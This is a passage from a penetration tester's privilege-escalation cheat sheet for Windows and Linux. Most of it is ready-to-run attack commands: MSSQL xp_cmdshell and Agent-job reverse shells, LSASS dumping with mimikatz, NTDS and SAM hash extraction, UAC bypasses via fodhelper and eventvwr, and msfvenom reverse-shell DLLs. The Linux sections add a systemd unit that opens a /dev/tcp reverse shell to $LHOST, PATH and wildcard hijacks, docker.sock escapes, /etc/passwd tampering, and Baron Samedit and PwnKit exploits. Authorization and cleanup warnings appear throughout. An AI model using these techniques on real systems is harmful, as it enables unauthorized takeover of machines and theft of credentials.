reg delete "\\$DC\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v ServerLevelPluginDll /f
sc \\$DC start dns

[!warning] Watch out DnsAdmins and Server Operators are destructive — the DLL crashes DNS for the whole domain until cleanup, and a broken service on a DC is very visible. Get explicit authorization, restore config the moment you’ve proven it, and delete ServerLevelPluginDll / revert the binpath. SeLoadDriverPrivilege (Print Operators) is blocked for HKCU driver refs since Win10 1803 — use EoPLoadDriver which registers under a writable key, and BYOVD only where driver-signing enforcement allows it.

[!tip] Cleanup is part of the job on every one of these: revert service binpaths, remove added users, delete registry keys, restore file ownership — and document each change for the report.

9 — MSSQL admin → OS command execution

What to look for: I’m sysadmin on MSSQL (found via creds, or the foothold is the SQL service). Two escalation paths: xp_cmdshell, or Agent jobs (survive when xp_cmdshell is blocked/removed).

-- at the SQL prompt (impacket-mssqlclient / sqlcmd) — enable + execute
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
-- then potato it (§3) if the service account has SeImpersonate (default for MSSQL)

-- Agent-job route (works when sp_OACreate / xp_cmdshell are hardened away):
USE msdb;
EXEC sp_add_job @job_name = 'pwnd';
EXEC sp_add_jobstep @job_name = 'pwnd', @step_name = 'x',
     @subsystem = 'PowerShell',
     @command = 'powershell -enc <base64_revshell>';
EXEC sp_add_jobserver @job_name = 'pwnd';
EXEC sp_start_job @job_name = 'pwnd';
-- cleanup: EXEC sp_delete_job @job_name = 'pwnd';

[!tip] MSSQL enumeration, linked servers, and the full attack surface: Stage 03 — Service Enumeration. xp_cmdshell runs as the service account — check whoami /priv in its output for SeImpersonatePrivilege (GodPotato path, §3). Agent jobs can also run as a proxy account with different privileges than the SQL service — sometimes that’s the escalation.

10 — SCCM / WSUS / management-infra abuse

What to look for: signs the box is managed by SCCM (C:\Windows\CCM, ccmexec.exe) or a WSUS client (HKLM\...\WindowsUpdate\AU pointing at an internal HTTP server).

  • SCCM — hunt credentials and devices with sccmhunter (find, smb, show modules from the attack box), abuse client push / application deployment with SharpSCCM on-host (.\SharpSCCM.exe get naa recovers Network Access Account creds from WMI policy — a classic local-admin harvest). Full module: sibling notes and Stage 03 service enum.
  • WSUS over HTTP — the update path is unsigned-metadata over HTTP; inject a fake “update” that runs a PsExec-style command as SYSTEM (concept: SharpWSUS / pywsus). Requires control of or MitM to the WSUS server — usually a post-compromise lateral move, not a first privesc.

[!warning] Watch out SCCM get naa touches WMI on the site server path; fake WSUS updates change machine state domain-wide if scoped wrong. Both need explicit authorization and tight cleanup notes.

11 — Secondary logon & token tools: RunasCs + incognito

What to look for: I have credentials for a higher-priv user but no interactive session (no runas GUI, runas needs a console), or a SYSTEM box where I want to become a specific user.

# ── RunasCs (link-only: https://github.com/antonioCoco/RunasCs) — runas that works
#    from ANY shell, supports remote/forced logon types and reverse shells ──
.\RunasCs.exe lowadmin 'Pass123!' powershell -r $LHOST:443
.\RunasCs.exe lowadmin 'Pass123!' cmd -l 3        # logon type 3 = network (no profile, quiet)
# ── Meterpreter incognito (post-exploit module) — list & steal live tokens ──
meterpreter > load incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "DOMAIN\\Administrator"   # token must exist (user logged in / service running)
meterpreter > getsystem    # technique 1 = impersonation variant of the potato idea

[!note] incognito steals existing tokens only — if the target user has never logged on since boot (no delegation token), there’s nothing to steal. runas /netonly (Stage 08) creates a local process with remote creds — different primitive, useful for AD tooling, not local privesc.

12 — Windows kernel/local privesc CVEs (last resort)

What to look for: systeminfo output fed to WES-NG / Windows-Exploit-Suggester offline, missing-patch diff pointing at a privesc CVE. Same rule as Linux: misconfigs first, kernel last — a blue screen on a client’s DC ends engagements.

CVE / nameAffectsVectorCaution
MS16-032 (Secondary Logon)Vista→2012 R2, pre-MS16-032PowerShell race → SYSTEMPSv2+; reliable-ish, old targets only
CVE-2021-36934 HiveNightmareWin10 1809+ / Server 2019+ with VSS shadowSAM/SECURITY/SYSTEM hives world-readable → dump local hashesread-only, non-destructive — try early; check icacls C:\Windows\System32\config\SAM
CVE-2021-1675 / CVE-2021-34527 PrintNightmareSpooler on, point-and-printdriver load → SYSTEMloud, needs auth; patched mid-2021 but stragglers persist
CVE-2022-21999 SpoolFoolSpooler ondir-primitive → DLL write → SYSTEMPoC-only class; verify build
PwnKit-class Windows analogues (token/ALPC bugs)variesvariestreat as memory-corruption risk unless logic bug
# HiveNightmare quick check — BUILTIN\Users read on the SAM hive = vulnerable
icacls C:\Windows\System32\config\SAM

[!danger] Kernel exploit caution (Windows) Same discipline as Linux §7: (1) config/group/token paths first, (2) prefer logic bugs (HiveNightmare is a permissions bug — no crash risk) over memory corruption, (3) verify the exact build against WES-NG output, (4) expect BSOD possibility and get sign-off, (5) document. Detection: Event 4688 (process creation), 7045 (new service), 4672 (special privileges assigned) will light up on nearly every escalation here — assume a monitored box sees the effect even when the exploit itself is fileless.

[!opsec] Detection cheat-sheet (what the blue team sees)

ArtifactEvent / source
New or reconfigured service7045 (System), 4697, SC Manager logs
SYSTEM child of w3wp.exe/sqlservr.exe4688 process creation (potatoes)
Token privileges granted/used4672 / 4673 (sensitive privilege use)
LSASS accessSysmon 10 (process access, GrantedAccess 0x1010)
Registry ImagePath / Run key change4657, Sysmon 12–14
wevtutil / log tampering1102 (log cleared) — never clear logs, exfiltrate and leave them

👥 Privileged group shortcuts (why whoami /groups matters)

What to look forwhoami /groups (or a BloodHound MemberOf) showing a built-in operator group. Several are a direct escalation without any CVE:

  • Account Operators → create users and reset/modify any non-protected account, and log on to the DC. Pivot: create a user and drop it into a non-protected group that holds an ACL edge (STAGE 6), or reset a service account’s password. Deep dive: 🟣 Attack.
  • Backup Operators → read any file via SeBackupPrivilege → grab NTDS.dit + SYSTEM off the DC (see STAGE 9/10), not the local SAM. Deep dive: 🟣 Attack.
  • Server Operators → control services on the DC → reconfigure one to run your payload as SYSTEM. Deep dive: 🟣 Attack.
  • Print OperatorsSeLoadDriverPrivilege → load a malicious driver. Deep dive: 🟣 Attack.
  • DnsAdmins → DLL injection into the DNS service (dns.exe) → SYSTEM on the DC. Deep dive: 🟣 Attack.
  • Event Log Readers → not direct privesc, but sensitive-log scraping is a credential mine: PowerShell transcription/ScriptBlock logs (4104), command-line auditing (4688 with cmdline), and RDP/auth logs routinely contain passwords typed as arguments, connection strings, and -p flags:
    Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object {$_.Message -match "pass|pwd|token"} | Select -First 20
    wevtutil qe Security /q:"*[System[(EventID=4688)]]" /f:text /c:200 | findstr /i "password"
  • Hyper-V Administrators → Full control of VMs on the host: swap/replace a running VM’s virtual hard disk (HardDiskDrive ACL manipulation or VHDX swap → boot a VM you control, mount the original disk offline) → loot the VM’s hives/creds. Also a path to the host via vmwp.exe vulnerabilities on old builds.
  • Remote Management Users → WinRM access (foothold, not privesc) — but combined with the groups above it’s the execution channel.

🐧 Linux PrivEsc — Deeper Vectors (PATH · NFS · Docker/LXD · LD_PRELOAD · wildcard · systemd)

Depth behind STAGE 9’s one-liners — the manual mechanics, the vectors the automated one-liners only hint at, and the gotchas the Linux PrivEsc module teaches. Same loop: find the trust boundary where a root process (cron, SUID binary, root’s own session, an NFS export) trusts something I can write, and step through it. Full command index: Linux PrivEsc Cheat Sheet.

A — PATH hijack a root-run unqualified command

What to look for: a root cron job / SUID binary / sudoers script that calls a helper by bare name (conncheck, service, backup) instead of an absolute path, plus a writable dir sitting earlier in that process’s PATH.

# find writable dirs on PATH + which root scripts call bare command names
echo $PATH
find / -path /proc -prune -o -type d -perm -o+w -print 2>/dev/null   # world-writable dirs
grep -rE '^[^/#]*\b(cp|tar|service|backup|conncheck)\b' /etc/cron* /opt /usr/local 2>/dev/null
strings /path/to/suid_bin | grep -vE '^/'   # SUID calling a bare name → hijackable
# drop a same-named payload in a dir that resolves before the real binary
PATH=.:${PATH}; export PATH
printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\n' > conncheck
chmod +x conncheck
# when the root job fires: /tmp/rootbash -p  → root euid

[!warning] Watch out sudo -l showing secure_path=... kills PATH abuse for that sudoers entry — sudo rebuilds PATH from secure_path, so a hijack only works against cron/SUID/scripts, not that sudo command. A SUID binary calling system("service …") runs the child through /bin/sh and does honour my PATH — that’s the classic win. Details: 2 - Cron Jobs & Scheduled Task Abuse.

B — Wildcard / argument injection (beyond tar --checkpoint)

What to look for: a root cron/script running a command with a bare * over a directory I can write to — tar -zcf bak.tgz *, chown -R x *, rsync … *. The glob expands my crafted filenames straight into the command’s argv.

# tar → cleaner payload than a revshell: grant myself NOPASSWD (survives, no listener)
echo 'echo "'"$U"' ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
echo "" > "--checkpoint-action=exec=sh root.sh"
echo "" > "--checkpoint=1"
# next tar run → sudo su ; done
# rsync wildcard → -e runs a command as the remote-shell
touch "shell.sh"; echo 'cp /bin/bash /tmp/rb;chmod +s /tmp/rb' > shell.sh
touch "-e sh shell.sh"                         # rsync … *  ->  rsync -e sh shell.sh
# chown/chmod wildcard → --reference clones a file's owner/mode onto the glob
touch "--reference=/tmp/pwned"                 # chown -R root:root *  hands me ownership

[!tip] tar, rsync, chown, chmod, 7z all have GTFOBins-documented wildcard/argv abuse. Confirm the job is live with pspy64 -pf before planting files — a stale-looking backup script that never fires wastes the window. Absolute-path args + a leading -- separator are the fix, so their absence is the tell.

C — NFS no_root_squash → SUID shell staged as attacker-root

What to look for: an NFS export marked no_root_squash (or no_all_squash). Normally root on a client is squashed to nfsnobody; no_root_squash lets me create root-owned SUID files on the share from my own box (where I am root).

# ── [ATTACKER] enumerate exports, no creds needed ──
showmount -e $IP
# on target, confirm the flag:  cat /etc/exports   →  /var/nfs/general *(rw,no_root_squash)
# ── [ATTACKER, as real root] build a setuid shell (no -p needed) and stage it ──
cat > shell.c <<'EOF'
int main(void){ setuid(0); setgid(0); system("/bin/bash"); }
EOF
gcc shell.c -o shell -static            # -static dodges target glibc mismatch
sudo mount -t nfs $IP:/tmp /mnt
cp shell /mnt && chmod u+s /mnt/shell
# ── [TARGET] low-priv session ──  /tmp/shell  → uid=0

[!warning] Watch out I must be root on my own box for the chmod u+s to stick with root ownership across the mount — that’s the whole mechanism. cp /bin/bash works too but then you need bash -p on target to keep euid; a hand-rolled setuid(0) binary doesn’t. If the mount errors, the export is likely root_squash (safe default) and this path is dead. LinPEAS flags no_root_squash automatically. See 9 - Remaining Vectors & Skills Checklist.

D — docker group / writable docker.sock (root-equivalent, no CVE)

What to look for: my id shows the docker group, a SUID/sudo docker, or a readable/writable /var/run/docker.sock (on host or inside a container). Any of these = full host filesystem, because Docker mounts arbitrary host paths into a container I control.

id | grep -o 'docker'
ls -la /var/run/docker.sock          # srw-rw---- and I can reach it?
find / -name docker.sock 2>/dev/null # from inside a container too
# ── docker group on host: mount host / into a throwaway container and chroot in ──
docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash          # you ARE the host now
docker run -v /root:/mnt -it ubuntu                            # or just grab /root, /etc/shadow

# ── writable socket from inside a container (docker CLI may be absent → stage it) ──
wget http://$LHOST/docker -O /tmp/docker && chmod +x /tmp/docker
/tmp/docker -H unix:///var/run/docker.sock run --rm -d --privileged -v /:/hostsystem ubuntu
/tmp/docker -H unix:///var/run/docker.sock ps                  # grab the new container id
/tmp/docker -H unix:///var/run/docker.sock exec -it <id> cat /hostsystem/root/.ssh/id_rsa

[!note] Before any socket trick, check for a bind-mounted host dir inside the container (/hostsystem, weird top-level paths) — reading /hostsystem/home/*/.ssh/id_rsa and SSHing to the host is faster than spawning a sibling container. deepce automates all of this from a container foothold. Full walk-through: 6 - Docker Privilege Escalation. (LXD/LXC group is already in STAGE 9 §6.)

E — Writable /etc/passwd or /etc/shadow

What to look for: /etc/passwd or /etc/shadow world-writable (or reachable via a cap_dac_override binary / Dirty Pipe). Add a root-UID user, or blank root’s password. Same logic applies to a writable /etc/sudoers (rare but instant: add $U ALL=(ALL) NOPASSWD: ALL).

ls -l /etc/passwd /etc/shadow /etc/sudoers
find / -writable -name passwd -o -writable -name shadow 2>/dev/null
# ── writable /etc/passwd: append a second UID-0 account with a known password ──
openssl passwd -1 -salt x Pass123           # -> $1$x$....
echo 'r00t:$1$x$hashfromabove:0:0:root:/root:/bin/bash' >> /etc/passwd
su r00t                                     # Pass123 → uid=0

# ── cap_dac_override binary (e.g. vim.basic) bypasses perms → blank root's pw field ──
getcap -r / 2>/dev/null | grep cap_dac_override
echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd
su root                                     # no password prompt at all

[!warning] Watch out Modern /etc/passwd uses x (password in shadow), so editing passwd only helps if I add a full hash inline (as above) — the system honours an inline $1$… over the x/shadow redirection. cap_dac_override, cap_setuid, cap_setgid are invisible to ls -l; only getcap shows them. See 8 - Kernel Exploits, SUID-SGID & Capabilities.

F — Shared-library hijack: RUNPATH · LD_LIBRARY_PATH · ld.so.preload

What to look for: a SUID/root binary linked against a non-standard .so whose search path (RUNPATH/RPATH, or an env-kept LD_LIBRARY_PATH) points somewhere writable. Broader than the env_keep+=LD_PRELOAD one-liner already in STAGE 9 §2.

ldd /path/to/suid_bin                 # any lib in a weird/writable dir?
readelf -d /path/to/suid_bin | grep -E 'RPATH|RUNPATH'   # runpath checked BEFORE system dirs
./suid_bin                            # run it first: "undefined symbol: dbquery" names the fn to export
# ── build a malicious .so exporting the SAME symbol the binary calls ──
cat > src.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
void dbquery(){ setuid(0); system("/bin/sh -p"); }   // match the missing symbol name
EOF
gcc src.c -fPIC -shared -o /development/libshared.so   # /development = the writable RUNPATH dir
./suid_bin                                             # loads my lib as root

# ── env-kept LD_LIBRARY_PATH via sudo, same idea without a writable RUNPATH ──
sudo LD_LIBRARY_PATH=/tmp <allowed_cmd>

[!tip] The fake .so must export every symbol the binary actually calls, or it won’t load — run the binary unmodified first to read the undefined symbol name. -p on sh/bash preserves the SUID euid. A SUID binary that can write /etc/ld.so.preload (e.g. Screen 4.5.0) is the nuclear version — one line there preloads my lib into every dynamically-linked process system-wide. Deep dive: 9 - Remaining Vectors & Skills Checklist / env side in 4 - Escaping Restricted Shells & Environment Variable Abuse.

G — Python library hijacking (3 flavours)

What to look for: a SUID or sudo-run Python script. I don’t need a bug in the script — I hijack a module it imports.

# 1) writable module SOURCE — inject into a function the script calls
pip3 show psutil                                   # -> install Location
ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py   # world-writable?
# prepend to the imported function:  import os; os.system('id')

# 2) sys.path priority — drop a same-named module in a higher-priority WRITABLE dir
python3 -c 'import sys; print("\n".join(sys.path))'
ls -ld /usr/lib/python3.8                          # earlier in sys.path AND writable → wins
printf 'import os\ndef virtual_memory():\n os.system("/bin/bash -p")\n' > /usr/lib/python3.8/psutil.py

# 3) PYTHONPATH — needs SETENV in sudoers, no writable path anywhere
sudo -l | grep SETENV                              # (ALL) SETENV: NOPASSWD: /usr/bin/python3
sudo PYTHONPATH=/tmp/ /usr/bin/python3 /path/mem_status.py   # my /tmp/psutil.py imported first as root

[!note] Python imports the first sys.path match — a writable dir earlier in the list beats the real package even when the package itself is untouchable. An AttributeError traceback after id prints is fine: code execution already happened, the crash is just my stub missing attributes. From 9 - Remaining Vectors & Skills Checklist.

H — systemd service & timer abuse

What to look for: a writable .service/.timer unit, a writable binary referenced by ExecStart, or sudo systemctl.

systemctl list-timers --all
find /etc/systemd/ /lib/systemd/ /run/systemd/ -writable -name '*.service' -o -writable -name '*.timer' 2>/dev/null
systemctl cat <svc> | grep ExecStart              # is the target binary writable by me?
# ── writable unit → point ExecStart at a revshell, reload, fire ──
mkdir -p ~/.x; printf '[Service]\nType=oneshot\nExecStart=/bin/bash -c "bash -i >& /dev/tcp/'"$LHOST"'/443 0>&1"\n[Install]\nWantedBy=multi-user.target\n' > /etc/systemd/system/x.service
systemctl daemon-reload && systemctl start x.service
# ── sudo systemctl (GTFOBins): pager escape ──
sudo systemctl status trail.service            # then at the pager:  !sh
# no pager? sudo systemctl → set a temp unit as above, or `sudo systemctl edit --full <svc>` and inject ExecStart

[!warning] Watch out A writable timer is as good as a writable service — point its Unit= at anything I can influence and wait for the schedule. logrotate is the same family: writable log + a vulnerable logrotate (3.8.6/3.11.0/3.15.0/3.18.0) → logrotten -p ./payload /tmp/tmp.log races rotation into a root shell. MITRE T1543.002 Systemd Service. Cleanup: remove the planted unit and systemctl daemon-reload again.

I — Sudo CVEs & sudoedit (when sudo -l is thin)

What to look for: an old sudo (sudo -V | head -1), a single harmless-looking sudo grant, or a sudoedit/-e entry.

sudo -V | head -1                                   # version is the whole prereq for the heap bug
# Baron Samedit CVE-2021-3156 (< 1.9.5p2) — quick non-destructive DETECT before firing a PoC:
sudoedit -s '\' $(python3 -c 'print("A"*1000)')     # "malloc(): ..." / segfault == vulnerable
# ── Baron Samedit: blasty PoC, match target index to /etc/lsb-release ──
git clone https://github.com/blasty/CVE-2021-3156 && cd CVE-2021-3156 && make
cat /etc/lsb-release; ./sudo-hax-me-a-sandwich 1     # 1 = Focal/sudo1.8.31 etc.

# ── CVE-2019-14287 (< 1.8.28): a lone `(ALL) /usr/bin/id`-style grant → run as UID -1 = 0 ──
sudo -u#-1 /usr/bin/<the_allowed_binary>            # works when the allowed binary can spawn a shell

# ── PwnKit CVE-2021-4034: needs only SUID pkexec, no sudo/group at all ──
git clone https://github.com/arthepsy/CVE-2021-4034 && cd CVE-2021-4034
gcc cve-2021-4034-poc.c -o poc && ./poc

# ── sudoedit CVE-2023-22809: `sudo -l` shows sudoedit/`-e` → smuggle an extra file to edit ──
export EDITOR='vi -- /etc/sudoers'                  # or /etc/passwd
sudoedit /the/allowed/file                          # opens /etc/sudoers too → add NOPASSWD: ALL

[!warning] Watch out The Baron Samedit heap offsets are tuned per distro/sudo/libc — a mismatched index can hang or crash the box, so match /etc/lsb-release exactly, and run the non-destructive sudoedit -s detector first. tcpdump -z postrotate (STAGE 9 §2) is now blocked by AppArmor on newer distros — check aa-status. Full CVE table: 5 - Sudo Rights & Privileged Group Abuse.

J — Overlooked groups & shared sessions (disk · adm · tmux)

What to look for: supplementary groups in id beyond sudo/docker/lxd, and root-owned tmux/screen sockets I can attach to (mechanics in §9 above).

id                                             # disk? adm? and any *-writable socket
ps aux | grep -E 'tmux|screen'                 # root session on a custom socket?
# ── disk group: raw block-device access → read/write the whole FS with debugfs ──
debugfs -w /dev/sda1                           # debugfs> cat /root/.ssh/id_rsa  (or write a SUID)
# ── adm group: read every /var/log — creds, cron activity, tokens leaked to logs ──
grep -riE 'pass|token|secret' /var/log 2>/dev/null
# ── tmux socket hijack: group-writable root session → just reattach ──
ls -la /shareds                                # srw-rw---- root devs, and I'm in devs
tmux -S /shareds                               # drops me straight into root's live shell

[!tip] disk and adm never touch /etc/sudoers yet disk is effectively root (raw FS) and adm is a credential goldmine — always read id for unfamiliar groups, not just sudo. A root tmux/screen socket that’s group-writable needs zero exploit code — attaching inherits root’s running shell. All from 5 - Sudo Rights & Privileged Group Abuse + 9 - Remaining Vectors & Skills Checklist.

🪟 Windows PrivEsc — Deeper Vectors (token privs · DLL hijack · UAC · saved creds · potato matrix)

The SeImpersonate → potato / weak-service / AlwaysInstallElevated wins above are the fast lane. When they miss, whoami /priv and whoami /groups are a menu — every Disabled privilege is still assigned and live. This is the deeper matrix: what each token privilege buys, the manual methods behind the automated finds, UAC, scheduled tasks, autoruns, the full saved-cred sweep, and how to pick the right potato. Full workflow: Windows PrivEsc Cheat Sheet · Implementation Roadmap Strategic Workflow for Windows Privilege Escalation.

The token-privilege matrix (map the priv → the technique)

What to look for: any of these in whoami /priv, even Disabled. Windows ships no cmdlet to flip a Disabled priv on — a scripted AdjustTokenPrivileges helper (EnableAllTokenPrivs, Enable-Privilege.ps1, or the tool’s own self-enable) does it. (Summary table is §2 above; this is the deep-dive.)

whoami /priv
[environment]::OSVersion.Version          # build → picks potato/UACMe technique
PrivilegeSource acct (typical)TechniqueTool
SeImpersonate / SeAssignPrimaryTokenIIS AppPool, MSSQL, NETWORK/LOCAL SERVICEcoerce a SYSTEM component → steal tokenpotato family (§3)
SeDebugdev accounts, misassigned GPOdump LSASS or steal a SYSTEM proc tokenprocdump+mimikatz / psgetsys
SeTakeOwnershipbackup/VSS-adjacent svc acctsown any securable object, then re-ACL ittakeown + icacls
SeBackup / SeRestoreBackup/Server OperatorsACL-bypass read (backup semantics) → NTDS/SAMrobocopy /B, diskshadow, DSInternals
SeManageVolumesome service accountsgrant Users full control of C:\ → DLL hijackSeManageVolumeExploit
SeLoadDriverPrint OperatorsBYOVD — load a vulnerable signed driverEoPLoadDriver + Capcom.sys

[!note] whoami /groups matters as much as /priv. Membership in Backup Operators / Server Operators / Print Operators / DnsAdmins hands you SeBackup/SeRestore/SeLoadDriver etc. and is Domain-Admin-equivalent on the resources it touches — see the built-in-group section above and 4 - Privilege Abuse via Built-in Groups (SeDebug, SeTakeOwnership, DnsAdmins & More).

SeDebugPrivilege → LSASS dump or direct SYSTEM token theft

What to look for: SeDebugPrivilege present (Administrators by default, but handed to developers via Debug programs GPO). It lets you open any process — exactly what LSASS reading and token theft need. Do not migrate into lsass (you’ll destabilise it); dump it offline or steal a different SYSTEM process’s token.

whoami /priv | findstr /i SeDebug
tasklist | findstr /i "winlogon lsass"       # note a SYSTEM PID (winlogon is reliable)
:: ── (a) dump LSASS offline → creds via mimikatz on my box ──
procdump.exe -accepteula -ma lsass.exe lsass.dmp
:: no upload? Task Manager → Details → lsass.exe → Create dump file
:: LOLBAS one-liner (comsvcs.dll MiniDump), no procdump needed:
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass_PID> C:\Windows\Temp\l.dmp full
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # log
mimikatz # sekurlsa::logonpasswords
# ── (b) skip creds entirely — inherit a SYSTEM proc's token → spawn cmd ──
.\psgetsys.ps1; [MyProcess]::CreateProcessFromParent((Get-Process "winlogon").Id,"c:\Windows\System32\cmd.exe","")
# the trailing "" third arg is REQUIRED. Swap winlogon for lsass if you prefer.

[!warning] Watch out The comsvcs.dll MiniDump one-liner and procdump -ma lsass are both heavily signatured (Event 4688 + Defender ASR “block credential stealing from LSASS”). Token theft via psgetsys touches no cred store and is quieter. On a box with LSA Protection (RunAsPPL=1) a plain minidump fails — you’d need a driver/mimikatz !+ route, out of scope for a quick win.

SeTakeOwnershipPrivilege → own any file, then read it

What to look for: SeTakeOwnershipPrivilege — grants WRITE_OWNER over any securable object. Common on a backup/VSS service account alongside SeBackup/SeSecurity without full local admin.

# find the juicy target — owner shows as unreadable = too tight to read directly
Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | Select Fullname,@{N="Owner";E={(Get-Acl $_.FullName).Owner}}
takeown /f "C:\Department Shares\Private\IT\cred.txt"
icacls "C:\Department Shares\Private\IT\cred.txt" /grant %USERNAME%:F
type "C:\Department Shares\Private\IT\cred.txt"

High-value targets for this: web.config, %WINDIR%\repair\{sam,system,security}, %WINDIR%\system32\config\*.sav, .kdbx, .vhdx, any pass*/cred* file.

[!warning] Watch out takeown alone does not grant read — expect Access denied on type until the icacls /grant runs (two-step). An explicit Deny ACE still blocks you. Revert ownership + ACL afterward (icacls /setowner, remove the grant) and document it — this is a loud, hard-to-fully-undo change.

SeBackup / SeRestore → NTDS or local SAM (beyond robocopy /B)

What to look for: SeBackupPrivilege (read past any DACL via FILE_FLAG_BACKUP_SEMANTICS) + SeRestorePrivilege (write past it, and set owners). The robocopy /B + reg save route is in the Backup Operators block above — these are the alternates for when a file is locked (NTDS) or you want targeted extraction.

# enable the priv in-session first (it flips Disabled→Enabled)
Import-Module .\SeBackupPrivilegeUtils.dll; Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege; Get-SeBackupPrivilege
# Diskshadow interactive prompt: snapshot the locked NTDS volume
C:\> diskshadow.exe
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
DISKSHADOW> end backup
# Copy the locked database through the exposed shadow volume.
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
:: Export the SYSTEM hive from an elevated Command Prompt.
reg save HKLM\SYSTEM C:\Temp\SYSTEM
# ── targeted, on-host, no Linux hop: pull one account straight out of ntds.dit (DSInternals) ──
Import-Module .\DSInternals.psd1
$key = Get-BootKey -SystemHivePath .\SYSTEM
Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key
:: On a member server or workstation, export the local SAM and SYSTEM hives.
reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM
# Parse the copied hives or NTDS database offline from Linux.
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL      # whole domain
impacket-secretsdump -sam SAM -system SYSTEM LOCAL            # local hashes

[!tip] Copy-FileSeBackupPrivilege needs the two SeBackupPrivilege*.dlls uploaded; robocopy /B (in the Backup Operators block) does the same with only native binaries — reach for it when third-party files are blocked. DSInternals is the PowerShell toolkit for on-host NTDS parsing. A .vhd/.vhdx/.vmdk on a backup share is the tool-free version of this whole chain: mount it (guestmount -a disk.vmdk -i --ro /mnt on Linux, or Disk Mgmt → Attach VHD) and secretsdump ... LOCAL its Config\ hives — see 15 - Scheduled Tasks, Description Fields & Mounting Disks.

SeManageVolume → arbitrary write to C:\ → DLL hijack chain

What to look for: SeManageVolumePrivilege Enabled (seen on the MSSQL virtual service account in 3 - Windows Privileges & Impersonation Attacks (JuicyPotato, PrintSpoofer)). It’s abusable into a full-control ACL over C:\, which becomes SYSTEM via a DLL a privileged process loads.

whoami /priv | findstr /i SeManageVolume
:: SeManageVolumeExploit.exe (CsEnox) grants BUILTIN\Users full control of C:\ recursively
.\SeManageVolumeExploit.exe
:: now drop a hijack DLL where a SYSTEM process/service resolves it (e.g. a missing
:: DLL under C:\Windows\System32 that a scheduled task / service loads), then trigger it

[!warning] Watch out This is a two-stage primitive — SeManageVolume only gives you the write; you still need a SYSTEM process that loads a DLL from a now-writable path (pair with the DLL-hijack discovery below). Granting Users full control of C:\ is extremely noisy and hard to fully revert — get sign-off and restore the ACL after proving it.

Service & application DLL hijacking (proxy vs invalid-library)

What to look for: a service running as SYSTEM (sc qc <svc>LocalSystem) whose own folder is writable, or that searches for a DLL it never ships. Code execution follows whatever process loads the DLL — hijack a SYSTEM service and it’s privesc, not just RCE. Search-order table is in §6 above. Full walkthrough: 9 - DLL Hijacking.

# ── discovery: PowerUp finds writable-PATH and hijackable-process DLL slots ──
Import-Module .\PowerUp.ps1
Find-PathDLLHijack ; Find-ProcessDLLHijack
# ── manual: Process Monitor, filter the target EXE, then either ──
#   Operation is 'Load Image'  → a DLL it loads by unqualified name from its own dir (proxy target)
#   Path ends with '.dll' AND Result is 'NAME NOT FOUND' → a DLL it wants but never finds (free win)
# static triage without running it:
dumpbin /imports C:\Path\to\service.exe        # or PE Explorer / Process Explorer
icacls "C:\Program Files\VulnApp"              # is the app's own folder writable?
# ── invalid-library hijack: app looks for x.dll, never finds it, you own 100% of it ──
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f dll -o x.dll
# rename to the exact missing name, drop in the app's own writable dir, restart the svc

[!tip] Two flavours: proxying re-exports the real functions (load library.o.dll, call through, run your payload) so the app keeps working — quiet, hard to spot. Invalid-library fills a NAME NOT FOUND gap — total control, no functionality to preserve, but more conspicuous if the missing DLL was supposed to do something visible. DllMain’s DLL_PROCESS_ATTACH is where the payload fires.

[!warning] Watch out Safe DLL Search Mode (on by default) pushes the current working directory below System32, but the application’s own directory is always searched first — that’s what keeps hijacking alive on a patched box. A hijack in a user-context app is same-privilege RCE, worthless for escalation; always tie it back to the loading process’s account before spending time on it.

UAC bypass (fodhelper · srrstr · eventvwr · CVE-2019-1388)

What to look for: I’m in the local Administrators group but whoami /priv shows only a standard-user token (split-token / medium integrity). Confirm UAC is on and how strict, then match a UACMe technique to the exact build. Full worked example: 5 - User Account Control (UAC) Bypass. MITRE T1548.002.

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
:: EnableLUA 0x1 = on. ConsentPromptBehaviorAdmin 0x5 ("Always notify") = strictest, kills most techniques.
:: ── fodhelper.exe — classic fileless auto-elevate, no DLL on disk ──
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd.exe /c C:\Windows\Temp\rev.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /f
fodhelper.exe
:: ── eventvwr.exe variant (same idea, different hijacked class) ──
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /d "C:\Windows\Temp\rev.exe" /f & eventvwr.exe
:: cleanup: reg delete both keys /f
# ── DLL-search UACMe technique 54 (build ≥14393): auto-elevating SystemPropertiesAdvanced.exe ──
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f dll > srrstr.dll
# drop into the user-writable, PATH-listed WindowsApps folder, then run the 32-bit binary:
#   %LOCALAPPDATA%\Microsoft\WindowsApps\srrstr.dll  →  C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe

